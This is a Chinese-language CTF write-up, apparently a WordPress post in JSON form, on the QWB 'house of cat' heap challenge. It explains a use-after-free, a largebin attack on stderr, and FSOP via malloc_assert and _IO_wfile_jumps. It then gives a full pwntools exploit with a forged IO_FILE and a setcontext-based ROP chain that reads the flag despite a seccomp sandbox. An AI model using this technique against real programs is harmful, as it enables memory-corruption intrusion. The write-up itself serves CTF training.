<\/span><\/h2>\n\n\n\n\u9898\u76ee\u524d\u9762\u6709\u4e00\u5927\u5768\u53c8\u81ed\u53c8\u957f\u7684\u9006\u5411\uff0c\u5f53\u65f6\u9006\u4e86\u534a\u5929\u6ca1\u9006\u660e\u767d\uff0c\u9042\u653e\u5f03\uff0c\u6700\u7ec8\u5f97\u5230\u7684\u7ed3\u8bba\u5c31\u662f\u8981\u5148\u8f93\u5165\u201cLOGIN | r00t QWB QWXFadmin\\x00\u201d\u767b\u5f55\u9898\u76ee\uff0c\u4e4b\u540e\u6bcf\u6b21\u60f3\u8981\u8c03\u7528\u5806\u5757\u51fd\u6570\uff0c\u90fd\u9700\u8981\u8f93\u5165\u201cCAT | r00t QWB QWXF\\xFF$\u201d\uff08\u51fa\u9898\u4eba\u7eaf\u7eaf\u95f2\u5f97\u86cb\u75bc\uff09<\/p>\n\n\n\n
\u6700\u7ec8\u5bf9\u5e94\u7684\u4ee3\u7801\u5982\u4e0b<\/p>\n\n\n\n
def add(index, size, content):\n p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\\xFF$') # enter the menu\n p.procedure.sendlineafter(b'plz input your cat choice:\\n', b'1')\n p.procedure.sendlineafter(b'plz input your cat idx:\\n', str(index).encode())\n p.procedure.sendlineafter(b'plz input your cat size:\\n', str(size).encode())\n p.procedure.sendafter(b'plz input your content:\\n', content)\n\n\ndef delete(index):\n p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\\xFF$') # enter the menu\n p.procedure.sendlineafter(b'plz input your cat choice:\\n', b'2')\n p.procedure.sendlineafter(b'plz input your cat idx:\\n', str(index).encode())\n\n\ndef show(index):\n p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\\xFF$') # enter the menu\n p.procedure.sendlineafter(b'plz input your cat choice:\\n', b'3')\n p.procedure.sendlineafter(b'plz input your cat idx:\\n', str(index).encode())\n\n\ndef edit(index, content):\n p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\\xFF$') # enter the menu\n p.procedure.sendlineafter(b'plz input your cat choice:\\n', b'4')\n p.procedure.sendlineafter(b'plz input your cat idx:\\n', str(index).encode())\n p.procedure.sendlineafter(b'plz input your content:\\n', content)\n\np.sla(b'mew mew mew~~~~~~', b'LOGIN | r00t QWB QWXFadmin\\x00')<\/code><\/pre>\n\n\n\n<\/span>\u589e<\/span><\/h3>\n\n\n\n![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n
<\/span>\u5220<\/span><\/h3>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6307\u9488\u8868\u4e0d\u6e05\u96f6\uff0c\u5b58\u5728uaf<\/p>\n\n\n\n
<\/span>\u6539<\/span><\/h3>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6539\u7684\u5b57\u8282\u5927\u5c0f\u56fa\u5b9a\uff0c\u540e\u671f\u5c31\u662f\u5229\u7528\u8fd9\u4e2a\u70b9\u6784\u9020\u4e86\u4e00\u70b9\u70b9\u5806\u98ce\u6c34\u4fee\u6539\u7684topchunk<\/p>\n\n\n\n
<\/span>\u67e5<\/span><\/h3>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u7528write\u67e5\u7684\uff0c\u800c\u4e14\u5927\u5c0f\u56fa\u5b9a\uff0c\u6240\u4ee5\u67e5\u4e00\u6b21\u5c31\u90fd\u51fa\u6765\u4e86<\/p>\n\n\n\n
<\/span>\u6c99\u7bb1<\/span><\/h3>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u662f\u4e2a\u767d\u540d\u5355\u6c99\u7bb1\uff0c\u4e5f\u662f\u4e07\u6076\u4e4b\u6e90\uff01\uff01\uff01\u5426\u5219\u5b8c\u5168\u53ef\u4ee5\u6253apple2\uff0c\u8fd9\u91cc\u6709\u4e2a\u6709\u8da3\u7684\u5730\u65b9\u5c31\u662fread\u9650\u5236\u4e86fd\u5fc5\u987b\u662f0\uff0c\u6240\u4ee5\u8981\u5148close\uff080\uff09\u4e00\u4e0b\uff0c\u7136\u540e\u518dopen<\/p>\n\n\n\n
<\/span>\u5229\u7528malloc_assert\u6253FSOP\u9700\u8981\u6ce8\u610f\u7684\u70b9\u548c\u7ed5\u8fc7\u7684\u4fdd\u62a4<\/span><\/h2>\n\n\n\n\u9996\u5148\u8981\u660e\u786e\uff0c\u8fd9\u6761\u94fe\u4e0d\u50cfexit\u90a3\u6761\u4e00\u6837\u9700\u8981\u5148\u4f2a\u9020\u4e00\u4e2a\u201c\u6b63\u5e38\u201d\u8c03\u7528_IO_file_jumps\u7684f1\uff08\u56e0\u4e3asize\u4f4d\u56fa\u5b9a\u4e86\uff0c\u6ca1\u6cd5\u5229\u7528magic gadget\uff0c\u9664\u975e\u80fd\u4efb\u610f\u6539size\u4f4d\uff09\uff0c\u53ea\u9700\u8981\u4f2a\u9020\u4e00\u4e2a)_IO_file_plus\u5c31\u53ef\u4ee5\u4e86<\/p>\n\n\n\n
<\/span>\u8981\u4f2a\u9020\u7684\u5185\u5bb9\u5982\u4e0b<\/span><\/h3>\n\n\n\n1.fp->_mode\uff080xc0\u7684\u4f4d\u7f6e\uff0c\u53ea\u53604\u5b57\u8282\uff09 <= 0 && fp->_IO_write_ptr\uff080x28\uff09 > fp->_IO_write_base\uff080x20\uff09\u8fd9\u91cc\u8ba9mode=0\u5373\u53ef\uff08\u4f46\u7ecf\u8fc7\u6211\u7684\u6d4b\u8bd5\uff0c\u4e0d\u4f2a\u9020\u4e5f\u6ca1\u5565\u95ee\u9898\uff0c\u4fdd\u9669\u8d77\u89c1\u8fd8\u662f\u4f2a\u9020\u4e00\u4e0b\u5427\uff09<\/p>\n\n\n\n
2.fp->vtable(0xd8\u7684\u4f4d\u7f6e) = libc<\/em>.symbols[‘_IO_wfile_jumps’] + libcbase<\/em>+0x10<\/p>\n\n\n\n3.\u8bbe\u7f6efp->wide_data(0xa0)\u6307\u5411\u4e00\u4e2a\u53ef\u63a7\u5730\u5740A<\/p>\n\n\n\n
4.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base\uff0c\u5373A->_IO_write_ptr\uff080x20\uff09 > A->_IO_write_base\uff080x18\uff09\uff0c\u8fd9\u91cc\u6211\u4eec\u76f4\u63a5\u5c06A->_IO_write_ptr\u8bbe\u7f6e\u6210rdx\u7684\u5730\u5740\uff0c\u5373orwpayload\u7684\u8d77\u59cb\u5730\u5740\uff0c\u539f\u56e0\u7a0d\u540e\u89e3\u91ca<\/p>\n\n\n\n
5.A+0xe0\u7684\u4f4d\u7f6e\u8bbe\u7f6e\u6210rdx+8<\/p>\n\n\n\n
<\/span>\u539f\u56e0\u5206\u6790<\/span><\/h3>\n\n\n\n\u6210\u529f\u8c03\u7528\u5230_IO_switch_to_wget_mode\u51fd\u6570\u65f6\uff0c\u6211\u4eec\u4ece\u6c47\u7f16\u53bb\u5206\u6790<\/p>\n\n\n\n
0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64\n 0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]\n 0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx\n 0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi\n 0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]\n 0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]\n 0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>\n \n 0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]\n 0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff\n 0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]\n<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u7ed3\u5408\u56fe\u6211\u4eec\u6765\u5206\u6790<\/p>\n\n\n\n
\u9996\u5148mov rax, qword ptr [rdi + 0xa0]\u628a [rdi + 0xa0]\u4e5f\u5c31\u662fwide_data\u8d4b\u503c\u7ed9rax\uff0c\u6b64\u6bb5payload\u6211\u5728wide_data\u5904\u586b\u5199\u7684\u503c\u4e3apayloadbase\uff08stderr\u6307\u5411\u7684\u4f4d\u7f6e\uff09+0xd0\uff0c\u63a5\u7740rdx, qword ptr [rax + 0x20]\u628apayloadbase+0xf0\u7684\u4f4d\u7f6e\u8d4b\u503c\u7ed9rdx\uff0c\u4e5f\u5c31\u662f\u540e\u7eedorwpayload\u7684\u4f4d\u7f6e\uff0c\u7136\u540emov rax, qword ptr [rax + 0xe0]\u628apayloadbase+0x1b0\u5bf9\u5e94\u7684\u503c\u8d4b\u7ed9rax\uff0c\u5728\u8fd9\u91cc\u6211\u8ba9\u5176\u7b49\u4e8erdx+8\uff0c\u6700\u540e\u4e00\u53e5call qword ptr [rax + 0x18]\uff0c\u4e5f\u5c31\u662fcall [rdx+0x20]\uff0c\u800c\u6211\u7684orwpayload\u5728\u8fd9\u4e2a\u4f4d\u7f6e\u586b\u7684\u521a\u597d\u5c31\u662fsetcontext+61\uff0c\u7531\u6b64\u5b9e\u73b0\u4e86orw\u7684\u8c03\u7528<\/p>\n\n\n\n
\u8fd9\u9053\u9898\u7531\u4e8e\u6c99\u7bb1\u7684\u9650\u5236\uff0corw\u7684\u65f6\u5019fd\u5fc5\u987b\u662f0\uff0c\u6240\u4ee5\u8981\u5148close\uff080\uff09\uff0c\u5728open\uff08flag\uff09\uff0c\u8ba9\u6253\u5f00\u7684flag\u6587\u4ef6\u7684fd\u4e3a0\u624d\u884c\uff0c\u6545orwpayload\u548c\u5e73\u5e38\u7684\u6709\u4e9b\u8bb8\u533a\u522b<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5177\u4f53\u6784\u9020\u6bd4\u8f83ez\uff0c\u4e0d\u591a\u8d58\u8ff0\u4e86<\/p>\n\n\n\n
<\/span>\u6700\u540e\u6784\u9020\u7684payload\u5982\u4e0b<\/span><\/h3>\n\n\n\niofilejump=libcbase+libc.symbols['_IO_file_jumps']\niowfilejump=libcbase+libc.symbols['_IO_wfile_jumps']\nrop=ROP(libc)\npop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase\npop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase\npop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase\npop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase\npop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase\npop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase\npop_rdi_rbp=0x000000000002a745+libcbase\nsyscall = rop.find_gadget(['syscall', 'ret']).address + libcbase\nsetcontextaddr = libc.symbols['setcontext'] + 61 + libcbase\nmagic_gadget=libcbase+0x00000000001675b1\n\npayloadposition=heapbase+0x290\n\nrsp=payloadposition+0x208\nflagaddr=payloadposition+0x120\n\npayload = p64(0) + p64(3)\npayload += p64(syscall) + p64(pop_r12)\npayload += p64(setcontextaddr) + p64(pop_rdi)\npayload += p64(flagaddr) + p64(pop_rax)\npayload += p64(2) + p64(syscall)\npayload += p64(pop_rsi) + p64(flagaddr)\npayload += p64(pop_rdi_rbp) + p64(0)\npayload += p64(4) + p64(pop_rax_rdx_rbx)\npayload += p64(0) + p64(300)\npayload += p64(0) + p64(pop_r12_r13)\npayload += p64(rsp) + p64(pop_rax)\npayload += p64(syscall) + p64(pop_rdi)\npayload += p64(1) + p64(pop_rax)\npayload += p64(1) +p64(syscall)\n\nf2=IO_FILE_plus_struct()\nf2._IO_read_ptr = payloadposition+0x200\n# f2._IO_write_ptr = 1\n# f2._flags2 = 8\n# f2._mode = 1\nf2._lock= payloadposition\nf2._wide_data = payloadposition + 0xd0\nf2.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase+0x10\n\ndata = flat({\n 0x0: bytes(f2)[16:],#payloadposition\n 0xd0:[0,0],\n 0xe0:payloadposition+0x200,\n 0xf0: {\n 0:[0,0,0,0],\n 0x20:b'flag\\0',\n 0xb0: payloadposition+0x208,\n },\n 0x1f0: payload\n})<\/code><\/pre>\n\n\n\n\u677f\u5b50\u5e94\u8be5\u4e5f\u662f\u4e00\u5957\u6bd4\u8f83\u56fa\u5b9a\u4e14\u4e07\u80fd\u7684\u677f\u5b50\uff0c\u4e2a\u4eba\u611f\u89c9\u5b66\u5b8c\u4e4b\u540e\u597d\u50cf\u6bd4apple2\u597d\u7528\u5509<\/p>\n\n\n\n
<\/span>\u5b8c\u6574payload<\/span><\/h2>\n\n\n\nfrom pwncli import *\nfrom pwnplus import *\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\np=mypwn('.\/pwn')\nlibc=ELF('.\/libc.so.6')\n\ndef add(index, size, content):\n p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\\xFF$') # enter the menu\n p.procedure.sendlineafter(b'plz input your cat choice:\\n', b'1')\n p.procedure.sendlineafter(b'plz input your cat idx:\\n', str(index).encode())\n p.procedure.sendlineafter(b'plz input your cat size:\\n', str(size).encode())\n p.procedure.sendafter(b'plz input your content:\\n', content)\n\n\ndef delete(index):\n p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\\xFF$') # enter the menu\n p.procedure.sendlineafter(b'plz input your cat choice:\\n', b'2')\n p.procedure.sendlineafter(b'plz input your cat idx:\\n', str(index).encode())\n\n\ndef show(index):\n p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\\xFF$') # enter the menu\n p.procedure.sendlineafter(b'plz input your cat choice:\\n', b'3')\n p.procedure.sendlineafter(b'plz input your cat idx:\\n', str(index).encode())\n\n\ndef edit(index, content):\n p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\\xFF$') # enter the menu\n p.procedure.sendlineafter(b'plz input your cat choice:\\n', b'4')\n p.procedure.sendlineafter(b'plz input your cat idx:\\n', str(index).encode())\n p.procedure.sendlineafter(b'plz input your content:\\n', content)\n\np.sla(b'mew mew mew~~~~~~', b'LOGIN | r00t QWB QWXFadmin\\x00')\n\nadd(10,0x440,b\"0000\")\nadd(11,0x430,b\"1111\")\nadd(12,0x430,b\"2222\")\nadd(13,0x430,b\"3333\")\n#------------leak and largebin attack--------------\ndelete(10)\ndelete(12)\nshow(10)\np.rcvu(b'Context:\\n')\nlibcbase=p.uu64()-0x219ce0\np.rcv(2)\nheapbase=p.uu64()-0xb20\nprint('heapbase:',hex(heapbase))\nprint('libcbase:',hex(libcbase))\ndelete(11)\ndelete(13)\n\n#--------------finish leak---------------\n#--------------prepare the data------------------\niofilejump=libcbase+libc.symbols['_IO_file_jumps']\niowfilejump=libcbase+libc.symbols['_IO_wfile_jumps']\nrop=ROP(libc)\npop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase\npop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase\npop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase\npop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase\npop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase\npop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase\npop_rdi_rbp=0x000000000002a745+libcbase\nsyscall = rop.find_gadget(['syscall', 'ret']).address + libcbase\nsetcontextaddr = libc.symbols['setcontext'] + 61 + libcbase\nmagic_gadget=libcbase+0x00000000001675b1\n\npayloadposition=heapbase+0x290\n\nrsp=payloadposition+0x208\nflagaddr=payloadposition+0x120\n\npayload = p64(0) + p64(3)\npayload += p64(syscall) + p64(pop_r12)\npayload += p64(setcontextaddr) + p64(pop_rdi)\npayload += p64(flagaddr) + p64(pop_rax)\npayload += p64(2) + p64(syscall)\npayload += p64(pop_rsi) + p64(flagaddr)\npayload += p64(pop_rdi_rbp) + p64(0)\npayload += p64(4) + p64(pop_rax_rdx_rbx)\npayload += p64(0) + p64(300)\npayload += p64(0) + p64(pop_r12_r13)\npayload += p64(rsp) + p64(pop_rax)\npayload += p64(syscall) + p64(pop_rdi)\npayload += p64(1) + p64(pop_rax)\npayload += p64(1) +p64(syscall)\n\n\n\nf2=IO_FILE_plus_struct()\nf2._IO_read_ptr = payloadposition+0x200\n# f2._IO_write_ptr = 1\n# f2._flags2 = 8\n# f2._mode = 1\nf2._lock= payloadposition\nf2._wide_data = payloadposition + 0xd0\nf2.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase+0x10\n\ndata = flat({\n 0x0: bytes(f2)[16:],#payloadposition\n 0xd0:[0,0],\n 0xe0:payloadposition+0x200,\n 0xf0: {\n 0:[0,0,0,0],\n 0x20:b'flag\\0',\n 0xb0: payloadposition+0x208,\n },\n 0x1f0: payload\n})\n#--------------------------------------------------\nadd(0,0x440,data)\nadd(1,0x430,b\"1111\")\nadd(2,0x430,b\"2222\")\nadd(3,0x430,b\"3333\")\ndelete(0)\nadd(4,0x450,b\"4444\")\ndelete(2)\nio_list_all=libcbase+libc.symbols['_IO_list_all']\nedit(0,p64(libcbase+0x21a0e0)*2+p64(heapbase+0x290)+p64(libcbase+libc.symbols['stderr']-0x20))\nadd(5,0x450,b'5555'*10)\n\n#------------finish largebin attack--------------\n\nadd(6,0x430,data)#\u56de\u586b\u5806\u57572\ndelete(4)\ndelete(5)\nadd(7,0x460,b'7777')\nedit(5,p64(0)*4)\nprint(\"malloc_assert:\",hex(libcbase+0xA0EF0))\n# p.debug()\nadd(8,0x460,b'7777')\n\np.ia()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"\u8be5\u6b7b\u7684\u732b\u732b\uff01\uff01\uff01\u672c\u6765\u4e00\u5f00\u59cb\u60f3\u62ffapple2\u53bb\u6253\uff0c\u4e0d\u60f3\u5b66cat\u4e86\uff0c\u4e8e\u662f\u81ea\u4fe1\u7684\u5957\u4e86\u4e00\u901a\u677f\u5b50\u4e4b\u540e\u5374\u600e\u4e48\u4e5f\u51fa\u4e0d\u4e86\u3002\u7a76\u5176 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[35,15],"class_list":["post-315","post","type-post","status-publish","format-standard","hentry","category-pwn","tag-houseofcat","tag-orw"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/315","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=315"}],"version-history":[{"count":2,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/315\/revisions"}],"predecessor-version":[{"id":711,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/315\/revisions\/711"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=315"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=315"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=315"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}